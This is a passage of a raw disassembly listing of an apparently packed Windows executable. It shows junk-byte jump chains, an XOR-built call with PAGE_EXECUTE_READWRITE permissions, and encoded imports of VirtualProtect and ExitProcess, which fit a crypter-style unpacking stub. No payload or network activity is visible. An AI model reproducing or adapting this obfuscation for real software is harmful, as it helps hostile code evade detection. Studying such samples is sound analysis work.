--------------------------------------------------------------------------- db 69h, 0D9h, 0B9h dd 6D11B62Ch db 0FEh, 29h ; --------------------------------------------------------------------------- loc_46EC26: ; CODE XREF: DMN1:0046EC1Bj cld xchg ecx, esi jmp short loc_46EC40 ; --------------------------------------------------------------------------- db 0B7h dd 0E91927F0h, 2B6C5252h, 0CB86F33h, 313A29D1h, 32D0F639h ; --------------------------------------------------------------------------- loc_46EC40: ; CODE XREF: DMN1:0046EC29j sal ebp, 1 cmc xchg esi, esp jmp short loc_46EC63 ; --------------------------------------------------------------------------- db 4Ah dd 0AE27819Fh, 5A316EDEh, 0CE88AD6Dh, 3A63D629h, 45F96C8Bh dd 0DA61D6C2h ; --------------------------------------------------------------------------- setalc sub al, 0D7h loc_46EC63: ; CODE XREF: DMN1:0046EC45j jmp short $+2 xchg ebp, eax jmp short loc_46EC76 ; --------------------------------------------------------------------------- sub eax, 541EA883h retf ; --------------------------------------------------------------------------- db 0E1h ; --------------------------------------------------------------------------- sub ch, [edx+66B5B4A5h] loc_46EC76: ; CODE XREF: DMN1:0046EC67j jmp short loc_46EC88 ; --------------------------------------------------------------------------- xchg eax, ebx cli mov ecx, 90FDA28Bh retf 436h ; --------------------------------------------------------------------------- dw 674Dh dd 5CBB3AAEh ; --------------------------------------------------------------------------- loc_46EC88: ; CODE XREF: DMN1:loc_46EC76j xchg esp, edx jmp loc_46E807 ; --------------------------------------------------------------------------- loc_46EC8F: ; CODE XREF: DMN1:0046EC19j xchg ebp, eax xchg esp, edx jmp short loc_46EC9B ; --------------------------------------------------------------------------- and [ebx+1B9779B2h], edx loc_46EC9B: ; CODE XREF: DMN1:0046EC93j jmp short loc_46ECB2 ; --------------------------------------------------------------------------- db 5Ch, 1, 6Dh dd 0E61B36F4h, 697078EFh, 85A75A60h, 0EE76CE67h db 0C8h, 40h ; --------------------------------------------------------------------------- loc_46ECB2: ; CODE XREF: DMN1:loc_46EC9Bj jmp short loc_46ECBD ; --------------------------------------------------------------------------- cmp [edi-41h], ch retn ; --------------------------------------------------------------------------- and [ebp+45h], dh adc al, 0FBh loc_46ECBD: ; CODE XREF: DMN1:loc_46ECB2j jmp short loc_46ECCB ; --------------------------------------------------------------------------- db 78h dd 26B6FDE1h, 4FB6FD60h db 57h, 0AAh, 0E3h ; --------------------------------------------------------------------------- loc_46ECCB: ; CODE XREF: DMN1:loc_46ECBDj jmp short loc_46ECE7 ; --------------------------------------------------------------------------- db 2Bh, 0FEh, 23h dd 0E2BBA34Eh, 1E774C5h, 0E2B3B6F3h, 1F86D0FFh, 22C84FAEh db 9Dh, 0A2h, 0C9h ; --------------------------------------------------------------------------- loc_46ECE7: ; CODE XREF: DMN1:loc_46ECCBj pop eax jmp short loc_46ECF3 ; --------------------------------------------------------------------------- dw 360Fh dd 0FA129454h db 0CDh, 6Fh, 2Dh ; --------------------------------------------------------------------------- loc_46ECF3: ; CODE XREF: DMN1:0046ECE8j jmp short loc_46ED00 ; --------------------------------------------------------------------------- db 42h, 0DDh, 0Ch dd 0DDE8D65Bh, 9B10ADCCh ; --------------------------------------------------------------------------- loc_46ED00: ; CODE XREF: DMN1:loc_46ECF3j jmp short loc_46ED16 ; --------------------------------------------------------------------------- db 0CCh db 0DAh dd 0B065CFF9h, 0CC99B4D6h, 0A89E7774h, 81CE3CC3h ; --------------------------------------------------------------------------- inc esi pusha loc_46ED16: ; CODE XREF: DMN1:loc_46ED00j jmp short loc_46ED32 ; --------------------------------------------------------------------------- dd 825610F6h, 0C421CE0Ah, 295CE49Ah, 0CED233C4h, 7C87F81Ch dd 9D722EADh db 0DDh, 4Eh ; --------------------------------------------------------------------------- loc_46ED32: ; CODE XREF: DMN1:loc_46ED16j jmp short loc_46ED4B ; --------------------------------------------------------------------------- sar dword ptr [edx], 1 mov ecx, 723F6451h xchg eax, esp jno short loc_46EDA0 xlat cdq and ds:70256204h, dh sub eax, 3DC3210Dh loc_46ED4B: ; CODE XREF: DMN1:loc_46ED32j jmp short loc_46ED61 ; --------------------------------------------------------------------------- db 9Dh, 0A8h, 51h dd 0D172F4A7h, 1F48DC65h, 1A762161h, 969A8519h ; --------------------------------------------------------------------------- push ds loc_46ED61: ; CODE XREF: DMN1:loc_46ED4Bj xor edi, 30282A12h jmp short loc_46ED7E ; --------------------------------------------------------------------------- db 79h, 0D4h, 26h dd 23C27CEAh, 0A11412C4h, 3B898699h, 71A6C62Dh ; --------------------------------------------------------------------------- sal dword ptr [eax], cl loc_46ED7E: ; CODE XREF: DMN1:0046ED67j jmp short loc_46ED97 ; --------------------------------------------------------------------------- dd 86A38034h, 87CFDBB3h, 0D8B54E94h, 55723EB9h, 1EEC52h db 24h, 13h, 0D3h ; --------------------------------------------------------------------------- loc_46ED97: ; CODE XREF: DMN1:loc_46ED7Ej jmp short loc_46ED9D ; --------------------------------------------------------------------------- adc eax, es:[edi+ecx*4] loc_46ED9D: ; CODE XREF: DMN1:loc_46ED97j jmp short loc_46EDB4 ; --------------------------------------------------------------------------- inc ebp loc_46EDA0: ; CODE XREF: DMN1:0046ED3Cj loop near ptr dword_46ED18+11h or al, 0D5h jmp far ptr 52CDh:66978FEBh ; --------------------------------------------------------------------------- db 0F6h dd 61FC045h, 8E15F5B5h ; --------------------------------------------------------------------------- loc_46EDB4: ; CODE XREF: DMN1:loc_46ED9Dj stc jmp short loc_46EDD4 ; --------------------------------------------------------------------------- db 0EDh dd 537196D9h, 0CCB61F63h, 721C0053h, 847A2475h, 0AB7A4772h dd 149C16EAh, 4AD3359Fh ; --------------------------------------------------------------------------- loc_46EDD4: ; CODE XREF: DMN1:0046EDB5j jmp loc_46E1C8 ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov ecx, [ebp+8] xor edx, 20150B62h xor edx, 0EA130C62h mov eax, 400000h add edx, eax add esp, 10h mov ebp, [esp-4] push edx pusha push 0 lea edx, [esp] push edx push 40h push 2DDD9h add dword ptr [esp], 1000h push eax add eax, 1000h add eax, 6E023h call dword ptr [eax] add esp, 4 popa retn ; =============== S U B R O U T I N E ======================================= public start start proc near mov eax, offset sub_407E30 jmp eax start endp ; --------------------------------------------------------------------------- dd 2C0EBA00h, 1AB85F2Dh, 5753B04h, 5437046Eh, 166C231h dd 7C2C1C2h, 0E850F1E2h, 0FFFFFF91h ; --------------------------------------------------------------------------- leave retn DMN1 ends ; Section 3. (virtual address 0006F000) ; Virtual size : 00000078 ( 120.) ; Section size in file : 00000078 ( 120.) ; Offset to raw data for section: 0006F000 ; Flags C0000060: Text Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write DMN2 segment para public 'DATA' use32 assume cs:DMN2 ;org 46F000h dd 78450001h, 72507469h, 7365636Fh, 10073h, 74726956h dd 506C6175h, 65746F72h, 0B5007463h, 9A77E75Ch, 77E616h dd 6B000000h, 656E7265h, 2E32336Ch, 6C6C64h, 2 dup(0) dd 0FFFFFFFFh, 6F02Bh, 6F01Fh, 5 dup(0) dd 6E000h, 10h, 3DECh, 3 dup(0) DMN2 ends ; Section 4. (virtual address 00070000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 0006F200 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 470000h dd 80h dup(0) align 1000h _idata2 ends end start